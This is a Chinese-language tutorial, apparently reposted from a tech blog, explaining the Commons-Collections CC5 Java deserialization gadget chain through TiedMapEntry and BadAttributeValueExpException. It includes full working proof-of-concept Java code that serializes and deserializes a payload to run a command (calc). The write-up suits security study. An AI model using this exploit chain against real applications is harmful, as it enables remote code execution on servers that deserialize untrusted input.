java反序列化之CC5超详细易懂分析

java反序列化之CC5超详细易懂分析本文详细解释了在 Java 中 如何利用 TiedMapEntry 的 toString 方法触发 BadAttribute 进而绕过安全检查进行反序列化攻击的过程 展示了 CC5 示例中的技术细节

大家好,欢迎来到IT知识分享网。

java反序列化之CC5超详细易懂分析

前言

在你学习这篇文章之前,cc1和cc6已经已经是会的,这样才能更好的来理解这篇文章

TiedMapEntry

我们回想cc6的时候触发lazymap的get方法我们使用的是TiedMapEntry类的hashcode去触发getvalue方法

但是其实触发getvalue的很多

 public boolean equals(Object obj) { 
    if (obj == this) { 
    return true; } if (obj instanceof Map.Entry == false) { 
    return false; } Map.Entry other = (Map.Entry) obj; Object value = getValue(); return (key == null ? other.getKey() == null : key.equals(other.getKey())) && (value == null ? other.getValue() == null : value.equals(other.getValue())); } / * Gets a hashCode compatible with the equals method. * <p> * Implemented per API documentation of {@link java.util.Map.Entry#hashCode()} * * @return a suitable hash code */ public int hashCode() { 
    Object value = getValue(); return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); } / * Gets a string version of the entry. * * @return entry as a string */ public String toString() { 
    return getKey() + "=" + getValue(); } 

可以看到是有三个的,这里我们cc5使用的就是toString()方法去触发
exp:

package CC5; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class CC5 { 
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException { 
    ChainedTransformer chain = new ChainedTransformer(new Transformer[]{ 
    new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ 
   String.class, Class[].class}, new Object[]{ 
   "getRuntime", null}), new InvokerTransformer("invoke", new Class[]{ 
   Object.class, Object[].class}, new Object[]{ 
   null, null}), new InvokerTransformer("exec", new Class[]{ 
   String.class}, new Object[]{ 
   "calc"}) }); HashMap map=new HashMap(); Map lazymap = LazyMap.decorate(map,chain); TiedMapEntry tiedMapEntry =new TiedMapEntry(lazymap,1); tiedMapEntry.getValue(); } public static void serialize(Object obj) throws IOException { 
    ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin"))); out.writeObject(obj); } public static void unserialize(String filename) throws IOException, ClassNotFoundException { 
    ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename))); out.readObject(); } } 

怎么触发tostring呢?

BadAttributeValueExpException

我们看到这个类

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { 
    ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null); if (valObj == null) { 
    val = null; } else if (valObj instanceof String) { 
    val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { 
    val = valObj.toString(); } else { 
    // the serialized object is from a version without JDK- fix val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } } 

可以发现它不仅实现了我们最希望的readobject方法,还实现了我们的tostring方法

poc

package CC5; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.management.BadAttributeValueExpException; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class CC5 { 
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException { 
    ChainedTransformer chain = new ChainedTransformer(new Transformer[]{ 
    new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ 
   String.class, Class[].class}, new Object[]{ 
   "getRuntime", null}), new InvokerTransformer("invoke", new Class[]{ 
   Object.class, Object[].class}, new Object[]{ 
   null, null}), new InvokerTransformer("exec", new Class[]{ 
   String.class}, new Object[]{ 
   "calc"}) }); HashMap map=new HashMap(); Map lazymap = LazyMap.decorate(map,chain); TiedMapEntry tiedMapEntry =new TiedMapEntry(lazymap,1); BadAttributeValueExpException badAttributeValueExpException =new BadAttributeValueExpException(tiedMapEntry); Object o =badAttributeValueExpException; serialize(o); unserialize("1.bin"); } public static void serialize(Object obj) throws IOException { 
    ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin"))); out.writeObject(obj); } public static void unserialize(String filename) throws IOException, ClassNotFoundException { 
    ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename))); out.readObject(); } } 

在这里插入图片描述
也是成功的弹出了计算器
这个还是简单的

总结

免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://haidsoft.com/150753.html

(0)
上一篇 2025-03-17 14:20
下一篇 2025-03-17 14:25

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注微信